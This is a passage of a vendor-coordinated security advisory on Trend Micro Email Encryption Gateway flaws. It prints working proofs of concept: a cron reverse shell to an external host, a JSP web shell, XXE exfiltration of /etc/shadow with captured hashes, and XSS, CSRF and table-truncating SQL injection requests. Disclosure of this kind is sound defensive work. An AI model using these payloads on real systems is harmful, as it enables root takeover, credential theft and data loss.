organizations to prioritize their efforts to protect critical assets,
take action sooner to mitigate access risk, and react faster if a breach
does occur.
Core Security is headquartered in the USA with offices and operations in
South America, Europe, Middle East and Asia. To learn more, contact Core
Security at (678) 304-4500 or info@coresecurity.com
12. *Disclaimer*
The contents of this advisory are copyright (c) 2018 Core Security and
(c) 2018 CoreLabs,and are licensed under a Creative Commons Attribution
Non-Commercial Share-Alike 3.0 (United States) License:
http://creativecommons.org/licenses/by-nc-sa/3.0/us/
13. *PGP/GPG Keys*
This advisory has been signed with the GPG key of Core Security advisories
team, which is available for download at
http://www.coresecurity.com/files/attachments/core_security_advisories.asc.
`
{"sourceData": "`Core Security - Corelabs Advisory \nhttp://corelabs.coresecurity.com/ \n \nTrend Micro Email Encryption Gateway Multiple Vulnerabilities \n \n1. *Advisory Information* \n \nTitle: Trend Micro Email Encryption Gateway Multiple Vulnerabilities \nAdvisory ID: CORE-2017-0006 \nAdvisory URL: \nhttp://www.coresecurity.com/advisories/trend-micro-email-encryption-gateway-multiple-vulnerabilities \nDate published: 2018-02-21 \nDate of last update: 2018-02-21 \nVendors contacted: Trend Micro \nRelease mode: Coordinated release \n \n2. *Vulnerability Information* \n \nClass: Cleartext Transmission of Sensitive Information [CWE-319], \nExternal Control of File Name or Path [CWE-73], Insufficient \nVerification of Data Authenticity [CWE-345], External Control of File \nName or Path [CWE-73], Missing Authentication for Critical Function \n[CWE-306], Cross-Site Request Forgery [CWE-352], Improper Restriction of \nXML External Entity Reference [CWE-611], Improper Neutralization of \nInput During Web Page Generation ('Cross-site Scripting') [CWE-79], \nImproper Neutralization of Input During Web Page Generation ('Cross-site \nScripting') [CWE-79], Improper Neutralization of Input During Web Page \nGeneration ('Cross-site Scripting') [CWE-79], Improper Neutralization of \nSpecial Elements used in an SQL Command [CWE-89], Improper \nNeutralization of Special Elements used in an SQL Command [CWE-89], \nImproper Neutralization of Special Elements used in an SQL Command \n[CWE-89] \nImpact: Code execution \nRemotely Exploitable: Yes \nLocally Exploitable: Yes \nCVE Name: CVE-2018-6219, CVE-2018-6220, CVE-2018-6221, CVE-2018-6222, \nCVE-2018-6223, CVE-2018-6224, CVE-2018-6225, CVE-2018-6226, \nCVE-2018-6226, CVE-2018-6227, CVE-2018-6228, CVE-2018-6229, CVE-2018-6230 \n \n3. *Vulnerability Description* \n \nTrend Micro's website states that:[1] \n \nEncryption for Email Gateway is a Linux-based software solution providing \nthe ability to perform the encryption and decryption of email at the \ncorporate gateway, regardless of the email client, and the platform from \nwhich it originated. The encryption and decryption of email on the TMEEG \nclient is controlled by a Policy Manager that enables an administrator \nto configure policies based on various parameters, such as sender and \nrecipient email addresses, keywords, or PCI compliance. Encryption for \nEmail Gateway presents itself as an SMTP interface and delivers email \nout over an SMTP to configured outbound MTAs. This enables easy \nintegration with other email server-based products, be them content \nscanners, mail servers, or archiving solutions.\" \n \nMultiple vulnerabilities were found in the Trend Micro Email Encryption \nGateway web console that would allow a remote unauthenticated attacker \nto gain command execution as root. \n \nWe also present two additional vectors to achieve code execution from a \nman-in-the-middle position. \n \n4. *Vulnerable Packages* \n \n. Trend Micro Email Encryption Gateway 5.5 (Build 1111.00) \nOther products and versions might be affected, but they were not tested. \n \n5. *Vendor Information, Solutions and Workarounds* \n \nTrend Micro published the following Security Notes: \n \n. \nhttps://success.trendmicro.com/solution/1119349-security-bulletin-trend-micro-email-encryption-gateway-5-5-multiple-vulnerabilities \n \n6. *Credits* \n \nThese vulnerabilities were discovered and researched by Leandro Barragan \nand Maximiliano Vidal from Core Security Consulting Services. The \npublication of this advisory was coordinated by Alberto Solino from Core \nAdvisories Team. \n \n7. *Technical Description / Proof of Concept Code* \n \nTrend Micro Email Encryption Gateway includes a web console to perform \nadministrative tasks. Section 7.4 describes a vulnerability in this \nconsole that can be exploited to gain command execution as root. The \nvulnerable functionality is accessible only to authenticated users, but \nit is possible to combine 7.4 with the vulnerability presented in \nsection 7.5 to bypass this restriction and therefore execute root \ncommands from the perspective of a remote unauthenticated attacker. \n \nThe application does also use an insecure update mechanism that allows \nan attacker in a man-in-the-middle position to write arbitrary files and \ninstall arbitrary RPM packages, leading to remote command execution as \nthe root user. \n \nAdditional Web application vulnerabilities were found, including \ncross-site request forgery (7.6), XML external entity injection (7.7), \nseveral cross-site scripting vulnerabilities (7.8, 7.9, 7.10), and SQL \ninjection vulnerabilities (7.11, 7.12, 7.13). \n \n7.1. *Insecure update via HTTP* \n \n[CVE-2018-6219] \nCommunication to the update servers is unencrypted. The following URL is \nfetched when the application checks for updates: \n \n/----- \n[Request #1] \nhttp://downloads.privatepost.com/files/TMEEG/updates/data.html \n-----/ \n \nThe product expects to retrieve a plain-text file with the following \nformat: \n \n/----- \n[Version Info] \n[Installation RPM file name] \n[Path to release notes] \n-----/ \n \nIf a new update is found, then the RPM file is downloaded from the \nfollowing URL: \n \n/----- \n[Request #2] \nhttp://downloads.privatepost.com/files/TMEEG/updates/[Installation RPM \nfile name] \n-----/ \n \nThis means that the product does not do any kind of certificate \nvalidation or public key pinning, which makes it easier for an attacker \nto eavesdrop and tamper the data. \n \n7.2. *Arbitrary file write leading to command execution* \n \n[CVE-2018-6220] \nThe following code snippet is responsible for downloading the update \nfile (com/identum/pmg/web/CheckForUpdates.java): \n \n/----- \nFileDownload fd = new FileDownload(); \nif (!fd.download(updateURLRoot + \"/\" + rpmFileName, \"/tmp/\" + \nrpmFileName)) { \nreturn 10; \n} \n[...] \n-----/ \n \nThe rpmFileName variable is controlled by the attacker, as it is taken \nfrom the aforementioned update file. As a consequence, the attacker \ncontrols the path where the update file is going to be downloaded. The \nRPM file is written by the root user with 0644 permissions. Being able \nto write to the file system as root opens the door to several code \nexecution vectors on Linux machines. \n \nIn this PoC we present one vector which consist on creating a cron job \non /etc/cron.d directory. \n \nThe attacker can send the following response to [Request #1]: \n \n/----- \nHTTP/1.1 200 OK \nContent-Type: text/html \nServer: Microsoft-IIS/7.5 \nX-Powered-By: ASP.NET \nDate: Tue, 23 May 2017 14:39:46 GMT \nConnection: close \nContent-Length: 26 \n \n5.7 \n../../../../../../../etc/cron.d/test \ntest.html \n-----/ \n \nAs a result, the server will create the file /etc/cron.d/test. Its \ncontents are also controlled by the attacker. When the update launches, \nthe appliance will download it from the following URL: \n \n/----- \nhttp://downloads.privatepost.com/files/TMEEG/updates/../../../../../../../etc/cron.d/test \n-----/ \n \nThe attacker can tamper the server's response and inject arbitrary data, \nsuch as a reverse shell payload: \n \n/----- \n* * * * * root /bin/bash -i >& /dev/tcp/external_server/1080 0>&1 \n-----/ \n \ngaining code execution upon exploitation: \n \n/----- \n$ sudo nc -lvvp 1080 \nListening on [0.0.0.0] (family 0, port 1080) \nConnection from [server] port 1080 [tcp/socks] accepted (family 2, sport \n52171) \nbash: no job control in this shell \n[root@ localhost ~]# id \nuid=0(root) gid=0(root) \ngroups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) \ncontext=user_u:system_r:unconfined_t \n-----/ \n \n7.3. *Unvalidated software updates* \n \n[CVE-2018-6221] \nThe update mechanism described in 7.2 does not validate the RPM file \ndownloaded. \n \nAn attacker in a man-in-the-middle position could tamper with the RPM \nfile and inject its own. \n \nThe following code snippet is responsible for installing the unvalidated \nRPM (com/identum/pmg/web/CheckForUpdates.java): \n \n/----- \ntry \n{ \nSystem.out.println(\"running file:\"); \nSystem.out.println(\"rpm --upgrade --nodeps /tmp/\" + rpmFileName); \n \nProcess process = Runtime.getRuntime().exec(\"rpm --upgrade \n--nodeps /tmp/\" + rpmFileName); \n[..] \n{ \n-----/ \n \nIn the following Proof of Concept, we crafted a malicious RPM file that \nexecutes a reverse shell once opened. This can be achieved by adding a \nreverse shell script to %pre section of RPM's SPEC file, which is \nexecuted previous to any installation step. As can be seen, this results \nin code execution as root: \n \n/----- \n$ sudo nc -lvvp 1080 \nListening on [0.0.0.0] (family 0, port 1080) \nConnection from [server] port 1080 [tcp/socks] accepted (family 2, sport \n40445) \nbash: no job control in this shell \n[root@ localhost /]# id \nuid=0(root) gid=0(root) \ngroups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) \ncontext=root:system_r:rpm_script_t:SystemLow-SystemHigh \n-----/ \n \n7.4. *Arbitrary logs location leading to command execution* \n \n[CVE-2018-6222] \nThe location of the log files can be changed in the logConfiguration.do \npage. MimeBuildServer logs are particularly interesting because its \ncontents can be controlled by an attacker. \n \nThe first step is to point the log file to the Web application root. The \nfollowing request redirects MimeBuildServer logs to \n/opt/tomcat/webapps/ROOT/pepito.jsp and enables full debug logs: \n \n/----- \nPOST /logConfiguration.jsp HTTP/1.1 \nHost: [server] \nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0) \nGecko/20100101 Firefox/53.0 \nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 \nAccept-Language: en-US,en;q=0.5 \nReferer: https://[server]/logConfiguration.do \nContent-Type: application/x-www-form-urlencoded \nContent-Length: 798 \nCookie: JSESSIONID=9363824A3BA637A8CC5B51955625075B \nDNT: 1 \nConnection: close \nUpgrade-Insecure-Requests: 1 \n \nclient0=KeyManager&warnLevel0=3&infoLevel0=1&debugLevel0=0&path0=%2Fvar%2Flog%2Fppg%2Fkeymanserver.log&client1=LauncherServer&warnLevel1=3&infoLevel1=1&debugLevel1=0&path1=%2Fvar%2Flog%2Fppg%2Flauncher.log&client2=KeyManagerClient&warnLevel2=3&infoLevel2=1&debugLevel2=0&path2=%2Fvar%2Flog%2Fppg%2Fkeymanclient.log&client3=MTAInterface&warnLevel3=3&infoLevel3=1&debugLevel3=0&path3=%2Fvar%2Flog%2Fppg%2Fmtainterface.log&client4=PolicyManagerServer&warnLevel4=3&infoLevel4=1&debugLevel4=0&path4=%2Fvar%2Flog%2Fppg%2Fpolicymanager.log&client5=SupervisorServer&warnLevel5=0&infoLevel5=3&debugLevel5=0&path5=%2Fvar%2Flog%2Fppg%2FSupervisorServer.log&client6=MimeBuilderServer&warnLevel6=3&infoLevel6=3&debugLevel6=3&path6=%2Fopt%2Ftomcat%2Fwebapps%2FROOT%2Fpepito.jsp&action=logConfiguration%3Apostback \n-----/ \n \nThe second step is to update the MimeBuilder configuration and insert \narbitrary JSP code. One candidate is the \"Encrypted meeting request \nemail message\" form. \n \n/----- \nPOST /mimebuilderconfig.jsp HTTP/1.1 \nHost: [server] \nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0) \nGecko/20100101 Firefox/53.0 \nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 \nAccept-Language: en-US,en;q=0.5 \nReferer: https://[server]/MimeBuilderConfig.do \nContent-Type: application/x-www-form-urlencoded \nContent-Length: 2915 \nCookie: JSESSIONID=9363824A3BA637A8CC5B51955625075B \nDNT: 1 \nConnection: close \nUpgrade-Insecure-Requests: 1 \n \naddEncryptionXHeader=on&encryptionXHeader=X-TMEEG-ENCRYPTED&addDecryptionXHeader=on&decryptionXHeader=X-TMEEG-DECRYPTED&addDecryptionNotice=off&decryptionNotice=javascript%3A%2F*%3C%2Fscript%3E%3Csvg%2Fonload%3D%27%2B%2F%22%2F%2B%2Fonmouseover%3D1%2F%2B%2F%5B*%2F%5B%5D%2F%2B%28%28new%28Image%29%29.src%3D%28%5B%5D%2B%2F%5C%2Ffud3uvq5miuqpikdqya3wzicu30woofc7z2nr%5C.burpcollaborator.net%2F%29.replace%28%2F%5C%5C%2Fg%2C%5B%5D%29%29%2F%2F%27%3E&errorOnVerificationFailure=off&meetingRequestEmailText=%3C%25%40+page+import%3D%22java.util.*%2Cjava.io.*%22%25%3E%0D%0A%3C%25%0D%0A%2F%2F%0D%0A%2F%2F+JSP_KIT%0D%0A%2F%2F%0D%0A%2F%2F+cmd.jsp+%3D+Command+Execution+%28unix%29%0D%0A%2F%2F%0D%0A%2F%2F+by%3A+Unknown%0D%0A%2F%2F+modified%3A+27%2F06%2F2003%0D%0A%2F%2F%0D%0A%25%3E%0D%0A%3CHTML%3E%3CBODY%3E%0D%0A%3CFORM+METHOD%3D%22GET%22+NAME%3D%22myform%22+ACTION%3D%22%22%3E%0D%0A%3CINPUT+TYPE%3D%22text%22+NAME%3D%22cmd%22%3E%0D%0A%3CINPUT+TYPE%3D%22submit%22+VALUE%3D%22Send%22%3E%0D%0A%3C%2FFORM%3E%0D%0A%3Cpre%3E%0D%0A%3C%25%0D%0Aif+%28request.getParameter%28%22cmd%22%29+%21%3D+null%29+%7B%0D%0A++++++++out.println%28%22Command%3A+%22+%2B+request.getParameter%28%22cmd%22%29+%2B+%22%3CBR%3E%22%29%3B%0D%0A++++++++Process+p+%3D+Runtime.getRuntime%28%29.exec%28request.getParameter%28%22cmd%22%29%29%3B%0D%0A++++++++OutputStream+os+%3D+p.getOutputStream%28%29%3B%0D%0A++++++++InputStream+in+%3D+p.getInputStream%28%29%3B%0D%0A++++++++DataInputStream+dis+%3D+new+DataInputStream%28in%29%3B%0D%0A++++++++String+disr+%3D+dis.readLine%28%29%3B%0D%0A++++++++while+%28+disr+%21%3D+null+%29+%7B%0D%0A++++++++++++++++out.println%28disr%29%3B+%0D%0A++++++++++++++++disr+%3D+dis.readLine%28%29%3B+%0D%0A++++++++++++++++%7D%0D%0A++++++++%7D%0D%0A%25%3E%0D%0A%3C%2Fpre%3E%0D%0A%3C%2FBODY%3E%3C%2FHTML%3E%0D%0A%0D%0A&encryptionVersion=zd&replyToSender=on&replyToAll=on&replyForward=on&zdMainTemplate=EncryptedMessageTemplate.html&zdAttachmentTemplate=EncryptedAttachmentTemplate.html&zdAttachmentPayloadTemplate=EncryptedAttachmentPayloadTemplate.html&preProcessMaxBlockSize=1914&preProcessMainDelimeter=%22%5C%3E%0D%0A%3Cinput+type%3D%22hidden%22+name%3D%22ibeMessage%22+id%3D%22ibeMessagePart__%5BAUTONUM%5D__%22+value%3D%22%0D%0A&preProcessInlineDelimeter=%22%5C%3E%0D%0A%3Cinput+type%3D%22hidden%22+name%3D%22ibeInline%22+id%3D%22ibeInlinePart__%5BAUTONUM%5D__%22+value%3D%22%0D%0A&b64EncodeAttachments=off&replyToSenderZdv4=on&replyToAllZdv4=on&replyForwardZdv4=on&zdMainTemplateZdv4=V4EncryptedMessageTemplate.htmlbt0ly&preProcessMaxBlockSizeZdv4=1914&preProcessMainDelimeterZdv4=%22%3E+%3Cinput+type%3D%22hidden%22+name%3D%22ibeMessage%22+id%3D%22ibeMessagePart__%5BAUTONUM%5D__%22+value%3D%22&preProcessInlineDelimeterZdv4=%22%3E+%3Cinput+type%3D%22hidden%22+name%3D%22ibeInline%22+id%3D%22ibeInlinePart__%5BAUTONUM%5D__%22+value%3D%22&b64EncodeAttachmentsZdv4=off&maxProcessThreads=10&mimeBuilderAction=mimeconfig%3Apostback \n-----/ \n \nThe next time the service components are restarted, the log file will be \ncreated with the desired JSP code. \n \nWith the sample JSP code from the previous request, the attacker would \nthen navigate to pepito.jsp and execute arbitrary commands as root: \n \n/----- \nhttps://[server]/pepito.jsp?cmd=id \n \nCommand: id \n \nuid=0(root) gid=0(root) context=system_u:system_r:java_t \n-----/ \n \n7.5. *Missing authentication for appliance registration* \n \n[CVE-2018-6223] \nThe registration endpoint is provided for system administrators to \nconfigure the virtual appliance upon deployment. However, this endpoint \nremains accessible without authentication even after the appliance is \nconfigured, which would allow attackers to set configuration parameters \nsuch as the administrator username and password. \n \nThe following request changes the administrator password to \"sombrero\": \n \n/----- \nPOST /register.jsp HTTP/1.1 \nHost: [server] \nContent-Type: application/x-www-form-urlencoded \nContent-Length: 414 \n \naction=register%3Apostback&activationCode1=EE&activationCode2=XXXX&activationCode3=XXXX&activationCode4=XXXX&activationCode5=XXXX&activationCode6=XXXX&activationCode7=XXXX&resellerCode=&hostName=tester.localdomain®Email=pentester1@coresecurity.com&contactName=Test+Test&contactEmail=pentester1@coresecurity.com&contactPhone=%2B5491145712447&userName=administrator&password=sombrero&confirmPassword=sombrero \n-----/ \n \nNote that a valid activation code is required. This code can be easily \nobtained by requesting a trial from Trend Micro's website. \n \n7.6. *Lack of cross-site request forgery protection* \n \n[CVE-2018-6224] \nThere are no Anti-CSRF tokens in any forms on the Web interface. This \nwould allow an attacker to submit authenticated requests when an \nauthenticated user browses an attacker-controlled domain. \n \nThis vulnerability can be chained with 7.4 and lead to remote command \nexecution. It could also be abused to force updates once the attacker is \nin a man-in-the-middle position to exploit 7.2 or 7.3, which would also \nlead to remote command execution. \n \nThe following proof of concept starts the check for updates process. \n \n/----- \n<html> \n<body> \n<script>history.pushState('', '', '/')</script> \n<form action=\"https://[server]/checkForUpdates.do\"> \n<input type=\"submit\" value=\"Submit request\" /> \n</form> \n</body> \n</html> \n-----/ \n \n7.7. *XML external entity injection in configuration.jsp* \n \n[CVE-2018-6225] \nThe pciExceptionXml parameter of the configuration.jsp script is \nvulnerable to XML external entity injection. \n \nThe following proof of concept uses external entities to send the \n/etc/shadow file to an external server. \n \n/----- \nPOST /configuration.jsp HTTP/1.1 \nHost: [server] \nUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) \nGecko/20100101 Firefox/53.0 \nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 \nAccept-Language: en-US,en;q=0.5 \nContent-Type: application/x-www-form-urlencoded \nContent-Length: 938 \nCookie: JSESSIONID=E8357364AE748ACB904BE6E34F47F2DB \nConnection: close \nUpgrade-Insecure-Requests: 1 \n \n \nincomingPort=25&externalHost=&outboundExternalPort=25&internalHost=&outboundInternalPort=25&pciUseSemantics=on&pciScanAttachments=on&pciExceptionbetween0=on&pciExceptionbetween1=on&pciExceptionText0=on&enabledInput=on&exceptionInput=&enabledInput=on&editExceptionInput=&enabledInput=on&startInput=&endInput=&enabledInput=on&startInput=&endInput=&action=configuration%3Apostback&pciExceptionXml=<%3fxml+version%3d\"1.0\"+encoding%3d\"utf-8\"%3f> \n<!DOCTYPE+roottag+[ \n+<ENTITY+%25+file+SYSTEM+\"file%3a///etc/shadow\"> \n+<!ENTITY+%25+dtd+SYSTEM+\"http%3a//external_server/combine.dtd\"> \n%25dtd%3b]> \n<ci_exceptions><pci_exception+enabled%3d\"true\"><tart><[CDATA[<head>]]>%26send%3b</start><end></head>]]></end></pci_exception><pci_exception+enabled%3d\"true\"><start><![CDATA[<style></start><end></style></end></pci_exception><pci_exception+enabled%3d\"true\"><start><head/></start></pci_exception></pci_exceptions> \n-----/ \n \nThe combine.dtd file is hosted on an external server, and its contents \nare: \n \n/----- \n<?xml version=\"1.0\" encoding=\"UTF-8\"?> \n<!ENTITY % all \"<!ENTITY send SYSTEM \n'gopher://external_server:1080/?%file;'>\"> \n%all; \n \n$ sudo nc -lvvp 1080 \nListening on [0.0.0.0] (family 0, port 1080) \nConnection from [server] port 1080 [tcp/socks] accepted (family 2, sport \n49676) \nroot:$1$8PtHrAEM$DmIkWpxYSOzhM0KLJGZvY/:14090:0:99999:7::: \nbin:*:14089:0:99999:7::: \ndaemon:*:14089:0:99999:7::: \nadm:*:14089:0:99999:7::: \nlp:*:14089:0:99999:7::: \nsync:*:14089:0:99999:7::: \nshutdown:*:14089:0:99999:7::: \nhalt:*:14089:0:99999:7::: \nmail:*:14089:0:99999:7::: \nnews:*:14089:0:99999:7::: \nuucp:*:14089:0:99999:7::: \noperator:*:14089:0:99999:7::: \ngames:*:14089:0:99999:7::: \ngopher:*:14089:0:99999:7::: \nftp:*:14089:0:99999:7::: \nnobody:*:14089:0:99999:7::: \nrpm:!!:14089:0:99999:7::: \ndbus:!!:14089:0:99999:7::: \nexim:!!:14089:0:99999:7::: \nnscd:!!:14089:0:99999:7::: \nvcsa:!!:14089:0:99999:7::: \nrpc:!!:14089:0:99999:7::: \nsshd:!!:14089:0:99999:7::: \npcap:!!:14089:0:99999:7::: \nhaldaemon:!!:14089:0:99999:7::: \npostgres:!!:14090:::::: \ntomcat:!!:14090:0:99999:7::: \nxfs:!!:14179:::::: \npostfix:!!:14194:::::: \n-----/ \n \nThese actions require the user to be authenticated within the Web \nconsole, so an attacker would need to obtain valid credentials first. \nPossible vectors to achieve this include exploiting any of the XSS \nissues described in 7.8, 7.9 and 7.10, or leveraging the XSRF \nvulnerability described in 7.6. \n \n7.8. *Reflected cross-site scripting in keymanserverconfig.jsp* \n \n[CVE-2018-6226] \nThe deniedKeysExpireTimeout and keyAge parameters of the \nkeymanserverconfig.jsp script are vulnerable to cross-site scripting. \n \nThe following is a proof of concept to demonstrate the vulnerability: \n \n/----- \nhttps://[server]/keymanserverconfig.jsp?keyAge=3&keyAgeUnits=m&deniedKeysExpireTimeout=6000yta9q%22%3e%3cscript%3ealert(1)%3c%2fscript%3ekb4w2xa9v0d&keymanServerAction=kmsconfig%3Apostback \n-----/ \n \n7.9. *Reflected cross-site scripting in mimebuilderconfig.jsp* \n \n[CVE-2018-6226] \nThe following parameters of the mimebuilderconfig.jsp script are \nvulnerable to cross-site scripting: decryptionXHeader, encryptionXHeader, \nmeetingRequestEmailText, zdAttachmentPayloadTemplate, zdAttachmentTemplate, \nzdMainTemplate, zdMainTemplateZdv4. \n \nThe following is a proof of concept to demonstrate the vulnerability: \n \n/----- \nhttps://[server]/mimebuilderconfig.jsp?zdMainTemplateZdv4=%22%3E%3Cscript%3Ealert(1)%3C/script%3E \n-----/ \n \n7.10. *Stored cross-site scripting in editPolicy.jsp* \n \n[CVE-2018-6227] \nThe hidEmails parameter of the editPolicy.jsp script is vulnerable to \ncross-site scripting. \n \nThe following request adds a policy for the email address \n\"<script>alert(1)</script>\": \n \n/----- \nPOST /editPolicy.jsp HTTP/1.1 \nHost: [server] \nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0) \nGecko/20100101 Firefox/53.0 \nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 \nAccept-Language: en-US,en;q=0.5 \nReferer: https://[server]/policies.jsp \nContent-Type: application/x-www-form-urlencoded \nContent-Length: 136 \nCookie: JSESSIONID=7D25474429E52C823C63357255A5E781 \nDNT: 1 \nConnection: close \nUpgrade-Insecure-Requests: 1 \n \naction=editPolicy%3Apostback&hidEmails=<script>alert(1)</script>&hidConditions=&hidRuleId=1&hidDelete=&ruleResult=3&ruleTarget=3&envId=1 \n-----/ \n \nThe input will be stored unescaped and rendered every time the policies.do \nscript is executed. \n \nExcerpt of the policies.do source showing the injected script tag: \n \n/----- \n<tr> \n<td ondblclick=\"edit_policy(this);\" style=\"border:solid 1px \n#AAAAAA;background-color:#F5F5F5;cursor:move;\" \nonmousedown=\"mouse_down(this, event);\" onmouseup=\"mouse_up(this);\" \nonmouseout=\"mouse_out(this);\" \nonmousemove=\"mouse_move(this, event);\">Don't decrypt messages to \n<script>alert(1)</script> \n-----/ \n \n7.11. *SQL injection in policies.jsp* \n \n[CVE-2018-6228] \nThe hidEditId parameter of the policies.jsp script is not sanitized, \nleading to SQL injection. \n \nAs can be seen in the following excerpt, the script reads a parameter \nnamed hidEditId and forwards it to the editPolicy.jsp script if it is \nnot set to -1. \n \nFrom webapps/ROOT/policies.jsp: \n \n/----- \n<% if (request.getParameter(\"hidEditId\") != null) \nif (request.getParameter(\"hidEditId\").compareTo(\"-1\") != 0) \n{ \nString hid_edit_id = request.getParameter(\"hidEditId\"); \n%><jsp:forward page=\"editPolicy.jsp\"><jsp:param name=\"editRuleId\" \nvalue=\"<%= hid_edit_id %>\"/></jsp:forward><% \n} \n[...] \n-----/ \n \nThe editPolicy.jsp script will pass this parameter without any \nmodification to the loadRuleDetails method, which is defined in the \nformEditPolicy class \n \nFrom webapps/ROOT/editPolicy.jsp: \n \n/----- \nif (request.getParameter(\"editRuleId\") != null) \nfrm.loadRuleDetails(request.getParameter(\"editRuleId\")); \n[...] \n-----/ \n \nFinally, the loadRuleDetails method will use the unsanitized parameter \nit receives to build a dynamic SQL statement as follows: \n \nFrom webapps/ROOT/WEB-INF/classes/com/identum/pmg/web/formEditPolicy: \n \n/----- \npublic boolean loadRuleDetails(String ruleId) \n{ \n_databaseError = false; \n \n \ntry \n{ \n_ruleId = ruleId; \n_ruleResultId = dataStore.getRuleResultId(ruleId); \n_ruleForId = dataStore.getRuleForId(ruleId); \n_ruleEmails = dataStore.getRuleAddreses(ruleId); \n_ruleSubRules = dataStore.getSubRules(ruleId); \n[...] \n \npublic String getRuleResultId(String ruleId) throws SQLException \n{ \nConnection cnn = MySQLClient.GetInstance().GetConnection(); \nStatement query = cnn.createStatement(); \nString ruleResultId = \"\"; \n \nResultSet rs = null; \n \ntry \n{ \nrs = query.executeQuery(\"SELECT RuleResultId FROM RulesEngine \nWHERE Id = \" + ruleId); \n[...] \n-----/ \n \nThe contents of ruleId will be appended to the SELECT query, resulting \nin a SQL injection. \n \nThe following PoC opens a policy to edit, even though the hidEditId \nparameter is invalid. Due to the \"always true\" comparison, the first \nelement is retrieved: \n \n/----- \nPOST /policies.jsp HTTP/1.1 \nHost: server \nUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) \nGecko/20100101 Firefox/53.0 \nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 \nAccept-Language: en-US,en;q=0.5 \nContent-Type: application/x-www-form-urlencoded \nContent-Length: 84 \nReferer: https://server/editPolicy.jsp \nCookie: JSESSIONID=4CFE9B6E37DFABC16AF5D6F091F1A0E2 \nConnection: close \nUpgrade-Insecure-Requests: 1 \n \naction=policies%3Apostback&hidSequence=&hidEditId=178275005%20or%201%3d1%20LIMIT%201 \n-----/ \n \n7.12. *SQL injection in editPolicy.jsp* \n \n[CVE-2018-6229] \nThe hidRuleId parameter of the editPolicy.jsp script is not sanitized, \nleading to SQL injection in a DELETE statement. \n \nThe following excerpt shows that the request object is forwarded to the \nDeletePolicy method implemented in the formEditPolicy class. \n \nFrom webapps/ROOT/editPolicy.jsp: \n \n/----- \n<% if (frm.isPostBack()) \n{ \nif (request.getParameter(\"hidDelete\").compareTo(\"YES\") == 0) \n{ \nfrm.DeletePolicy(request); \n} \n[...] \n-----/ \n \nDeletePolicy reads the hidRuleId parameter and calls deletePolicy with \nit, without doing any sanitization. \n \nFrom webapps/ROOT/WEB-INF/classes/com/identum/pmg/web/formEditPolicy: \n \n/----- \npublic boolean DeletePolicy(HttpServletRequest request) \n{ \nString ruleId = request.getParameter(\"hidRuleId\"); \nboolean success = dataStore.deletePolicy(ruleId); \n_databaseError = (!success); \n \nreturn success; \n} \n-----/ \n \nFinally, the JPostgresDataHelper class uses the ruleId parameter to \nbuild dynamic SQL statements, as can be seen in the following extract. \n \nFrom webapps/ROOT/WEB-INF/classes/com/identum/pmg/data/JPostgresDataHelper: \n \n/----- \npublic boolean deletePolicy(String ruleId) \n{ \nConnection cnn = null; \nStatement query = null; \n \nboolean bSuccess = true; \n \ntry \n{ \ncnn = MySQLClient.GetInstance().GetConnection(); \ncnn.setAutoCommit(false); \nquery = cnn.createStatement(); \n \nquery.executeUpdate(\"DELETE FROM RulesEmailIndex WHERE \nRulesEngineId = \" + ruleId); \nquery.executeUpdate(\"DELETE FROM SubRuleIndex WHERE RulesEngineId \n= \" + ruleId); \nquery.executeUpdate(\"DELETE FROM RulesEngine WHERE Id = \" + ruleId); \n[...] \n-----/ \n \nThe ruleId parameter will be appended as-is to the DELETE statements, \nresulting in a SQL injection. \n \nThe following request will cause the RulesEmailIndex, SubRuleIndex, and \nRulesEngine tables to be truncated: \n \n/----- \nPOST /editPolicy.jsp HTTP/1.1 \nHost: [server] \nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0) \nGecko/20100101 Firefox/53.0 \nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 \nAccept-Language: en-US,en;q=0.5 \nReferer: https://[server]/policies.jsp \nContent-Type: application/x-www-form-urlencoded \nContent-Length: 133 \nCookie: JSESSIONID=2B363A12C93CA038322EE551890FF30F \nConnection: close \nUpgrade-Insecure-Requests: 1 \n \naction=editPolicy%3Apostback&hidEmails=&hidConditions=&hidRuleId=223+OR++'1+'%3d+'1+'&hidDelete=YES&ruleResult=3&ruleTarget=3&envId=1 \n-----/ \n \n \n7.13. *SQL Injection in emailSearch.jsp* \n \n[CVE-2018-6230] \nThe SearchString parameter of the emailSearch.jsp script is not \nsanitized, leading to a SQL injection. \n \nAs can be seen in the following excerpt, the emailSearch.jsp script \nreads a parameter named SearchString and calls the getResults method \ndefined in the wsEmailSearch class. \n \nFrom webapps/ROOT/emailSearch.jsp: \n \n/----- \nif (session.getAttribute(\"UserName\") != null) \n{ \nresponse.setContentType(\"text/xml\"); \nws.setSearchParam(request.getParameter(\"SearchString\")); \njava.util.Vector res = ws.getResults(); \n[...] \n-----/ \n \nThe searchParam property is not sanitized before being used to build a \ndynamic SQL query, resulting in a SQL injection in the SELECT statement. \n \nFrom webapps/ROOT/WEB-INF/classes/com/identum/pmg/web/wsEmailSearch: \n \n/----- \npublic class wsEmailSearch \n{ \nprivate String _searchParam = \"\"; \npublic void setSearchParam(String searchParam) { _searchParam = \nsearchParam; } \n \npublic Vector getResults() \n{ \nVector res = new Vector(); \n \nConnection cnn = MySQLClient.GetInstance().GetConnection(); \ntry \n{ \nStatement query = cnn.createStatement(); \n \nResultSet rs = query.executeQuery(\"SELECT address FROM \nRulesEmailAddresses WHERE address LIKE '%\" + _searchParam + \"%' ORDER BY \naddress\"); \n[...] \n-----/ \n \nThe following proof of concept will cause all the e-mails on the \ndatabase to be retrieved: \n \n/----- \nPOST /emailSearch.jsp HTTP/1.1 \nHost: server \nUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; 